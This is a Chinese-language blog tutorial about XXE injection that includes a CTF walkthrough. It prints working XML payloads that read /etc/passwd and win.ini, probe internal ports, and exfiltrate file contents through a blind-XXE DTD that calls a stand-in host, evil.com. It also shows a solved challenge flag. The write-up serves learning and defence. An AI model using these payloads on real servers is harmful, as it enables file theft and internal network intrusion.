XXE漏洞学习

  1. 0x00前言
  2. 0x01漏洞产生的原因
  3. 0x02XML简单的用法
  4. 0x003实战XXE
  5. 0x04参考链接

0x00前言

早上看到某篇公众号的文章发了一篇XXE漏洞挖到个星巴克,拿到了一手奖金。决定晚上瞧一下这个洞
QCIzef.png

0x01漏洞产生的原因

XXE又叫XML外部实体注入(XML External Entity Injection)

简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
例如,如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。

XML基础
在介绍xxe漏洞前,先学习温顾一下XML的基础知识。XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具

0x02XML简单的用法


<!ENTITY 实体名称 "实体的值">
外部实体:

<!ENTITY 实体名称 SYSTEM "URI">
参数实体:

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
实例演示:除参数实体外实体+内部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY name "nMask">]>
<foo>
        <value>&name;</value> 
</foo>
实例演示:参数实体+外部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY % name SYSTEM "file:///etc/passwd">
    %name;
]>
注意:%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。

由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。

外部实体
外部实体即在DTD中使用

<!ENTITY 实体名称 SYSTEM "URI">
语法引用外部的实体,而非内部实体,那么URL中能写哪些类型的外部实体呢?
主要的有file、http、https、ftp等等,当然不同的程序支持的不一样:

实例演示:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [ //定义一个外部名称
    <!ENTITY content SYSTEM "file:///etc/passwd">]> // SYSTEM "file:///xxxx"用于读取文件
<foo> //定义标签 标签名可以随便输入,也可以和外名称对应
        <value>&content;</value> 
</foo>

得带Content-Type: application/xml头,如果请求头类似于:Content-Type: application/json,那么可以改为Content-Type: application/xml试试有没有xml漏洞

0x003实战XXE

这里找来一道CTF的题,BWAPP搭建出来的XXE好像有问题。和文章用一样的操作得出来的结果不符合
QCoD1A.png

题目地址:web.jarvisoj.com:9882
QCoWtg.png

抓包一手得到发现是如下请求的
QCooXq.png

Content-Type改为Content-Type: application/xml,发送以下内容探测是否存在XXE

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE sb [
 <!ENTITY xxe "XXE Test"> //XXE Test是输出的内容 xxe可以为理解为一个变量
 ]>
<em> //乱取个名就好
  &xxe; //理解为引用变量地址输出
</em> 

QCTKDP.png

读取文件测试
QC7EZV.png

读取flag文件
QC72WQ.png

由于这里是py的环境没有办法测试更多

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 44
Server: Werkzeug/0.9.4 Python/2.7.6
Date: Wed, 27 Nov 2019 15:37:08 GMT

<em>
  CTF{XxE_15_n0T_S7range_Enough}

</em>

这里就直接列出来

ML文档是用PHP进行解析的,那么还可以使用php://filter协议来进行读取。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini">
]>
<root><foo>&content;</foo></root>

端口扫描
加载外部DTD时有两种加载方式,一种为私有private,第二种为公共public。

私有类型DTD加载:

<!ENTITY private_dtd SYSTEM "DTD_location">

公共类型DTD加载:

<!ENTITY public_dtd PUBLIC "DTD_name" "DTD_location">
在公共类型DTD加载的时候,首先会使用DTD_name来检索,如果无法找到,则通过DTD_location来寻找此公共DTD。利用DTD_location,在一定的环境下可以用来做内网探测。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY portscan SYSTEM "http://localhost:3389">
]>
<root><foo>&portscan;</foo></root>


blind xxe漏洞:
对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。
利用DTD进行数据回显
有时读取文件时没有回显,这时可以利用DTD参数实体的特性将文件内容拼接到url中,达到读取文件的效果。

 <?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE root[    
 <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini">     
 <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd">    
 %dtd;     
 %send;]>
 <root></root>
evil.dtd

 <!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://evil.com/?content=%file;'>">
 %payload;
在evil.dtd中将%file实体的内容拼接到url后,然后利用burp等工具,查看url请求就能获得我们需要的内容

0x04参考链接

https://www.cnblogs.com/vincebye/p/7199290.html
https://www.freebuf.com/articles/web/177979.html


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:XXE漏洞学习

本文作者:九世

发布时间:2019-11-27, 23:06:26

最后更新:2019-11-27, 23:39:59

原始链接:http://422926799.github.io/posts/8867b076.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录